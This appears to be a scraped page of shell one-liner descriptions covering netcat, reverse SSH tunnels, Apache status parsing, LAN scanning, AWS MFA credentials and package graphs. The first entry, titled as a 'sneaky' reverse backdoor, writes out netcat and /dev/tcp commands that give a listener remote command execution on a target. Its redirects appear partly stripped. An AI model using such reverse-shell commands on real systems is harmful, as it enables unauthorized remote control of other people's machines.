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Reverse Backdoor Command Shell using Netcat
This is sneaky. First, start a listening service on your box. $ nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. $ exec 5/dev/tcp//8080;cat &5 >&5; done You can send it to the background like this: $ (exec 5/dev/tcp//8080;cat &5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.

PRINT LINE the width of screen or specified using any char including Colors, Escapes and metachars
One of the first functions programmers learn is how to print a line. This is my 100% bash builtin function to do it, which makes it as optimal as a function can be. The COLUMNS environment variable is also set by bash (including bash resetting its value when you resize your term) so its very efficient. I like pretty-output in my shells and have experimented with several ways to output a line the width of the screen using a minimal amount of code. This is like version 9,000 lol. This function is what I use, though when using colors or other terminal features I create separate functions that call this one, since this is the lowest level type of function. It might be better named printl(), but since I use it so much it's more optimal to have the name contain less chars (both for my programming and for the internal workings). If you do use terminal escapes this will reset to default. $ tput sgr0 For implementation ideas, check my http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html

back ssh from firewalled hosts
host B (you) redirects a modem port (62220) to his local ssh. host A is a remote machine (the ones that issues the ssh cmd). once connected port 5497 is in listening mode on host B. host B just do a ssh 127.0.0.1 -p 5497 -l user and reaches the remote host'ssh. This can be used also for vnc and so on.

Summarize Apache Extended server-status to show longest running requests
Ever need to know why Apache is bogging down *right now*? Hate scanning Apache's Extended server-status for the longest running requests? Me, too. That's why I use this one liner to quickly find suspect web scripts that might need review. Assuming the Extended server-status is reachable at the target URL desired, this one-liner parses the output through elinks (rendering the HTML) and shows a list of active requests sorted by longest running request at the bottom of the list. I include the following fields (as noted in the header line): Seconds: How long the request is alive PID: Process ID of the request handler State: State of the request, limited to what I think are the relevant ones (GCRK_.) IP: Remote Host IP making the request Domain: Virtual Host target (HTTP/1.1 Host: header). Important for Virtual Hosting servers TYPE: HTTP verb URL: requested URL being served. Putting this in a script that runs when triggered by high load average can be quite revealing. Can also capture "forgotten" scripts being exploited such as "formmail.pl", etc.

Scan your LAN for unauthorized IPs
populate the auth.hosts file with a list of IP addresses that are authorized to be in use and when you run this command it will return the addresses that are pingable and not in the authorized list. Can be combined with the "Command line Twitter" command to tweet unauthorized access.

Generate list of words and their frequencies in a text file.

Detect illegal access to kernel space, potentially useful for Meltdown detection
Based on capsule8 agent examples, not rigorously tested

Get AWS temporary credentials ready to export based on a MFA virtual appliance
You might want to secure your AWS operations requiring to use a MFA token. But then to use API or tools, you need to pass credentials generated with a MFA token. This commands asks you for the MFA code and retrieves these credentials using AWS Cli. To print the exports, you can use: `awk '{ print "export AWS_ACCESS_KEY_ID=\"" $1 "\"\n" "export AWS_SECRET_ACCESS_KEY=\"" $2 "\"\n" "export AWS_SESSION_TOKEN=\"" $3 "\"" }'` You must adapt the command line to include: * $MFA_IDis ARN of the virtual MFA or serial number of the physical one * TTL for the credentials

Generate a graph of package dependencies
Requires: imagemagick and graphviz On Debian systems, displays a graph of package dependencies. Works also with other image formats, like svg : $ apt-cache dotty bash | dot -T svg | display

Connect to TCP port 5000, transfer data and close connexion.
With no '-q 0' switch, nc simply waits, and whatever awaits the data hangs.


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